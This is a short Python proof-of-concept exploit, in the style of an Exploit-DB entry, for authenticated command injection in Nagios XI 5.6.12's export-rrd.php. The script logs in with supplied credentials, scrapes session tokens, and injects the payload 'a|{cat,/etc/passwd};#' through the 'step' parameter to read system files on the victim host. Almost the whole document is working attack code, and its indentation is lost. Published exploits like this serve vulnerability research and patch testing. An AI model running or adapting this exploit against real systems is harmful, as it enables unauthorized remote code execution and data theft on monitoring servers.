# Exploit Title: Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution
# Date: 2020-04-11
# Exploit Author: Basim Alabdullah
# Vendor homepage: https://www.nagios.com
# Version: 5.6.12
# Software link: https://www.nagios.com/downloads/nagios-xi/
# Tested on: CentOS REDHAT 7.7.1908 (core)
#
# Authenticated Remote Code Execution
#
import requests
import sys
import re
uname=sys.argv[2]
upass=sys.argv[3]
ipvictim=sys.argv[1]
with requests.session() as s:
urlz=ipvictim+"/login.php"
headers = {
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.8',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Referer': ipvictim+'/index.php',
'Connection': 'keep-alive'
}
response = s.get(urlz, headers=headers)
txt=response.text
x=re.findall('var nsp_str = "(.*?)"', txt)
for xx in x:
login = {
'username':uname,
'password':upass,
'nsp':xx,
'page':'auth',
'debug':'',
'pageopt':'login',
'redirect':ipvictim+'/index.php',
'loginButton':''
}
rev=s.post(ipvictim+"/login.php",data=login , headers=headers)
cmd=s.get(ipvictim+"/includes/components/ccm/?cmd=modify&type=host&id=1&page=1",allow_redirects=True)
txt1=cmd.text
xp=re.findall('var nsp_str = "(.*?)"', txt1)
for xxp in xp:
payload = "a|{cat,/etc/passwd};#"
exploit=s.get(ipvictim+"/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=011&end=012&step="+payload+"&type=a&nsp="+xxp)
print(exploit.text)
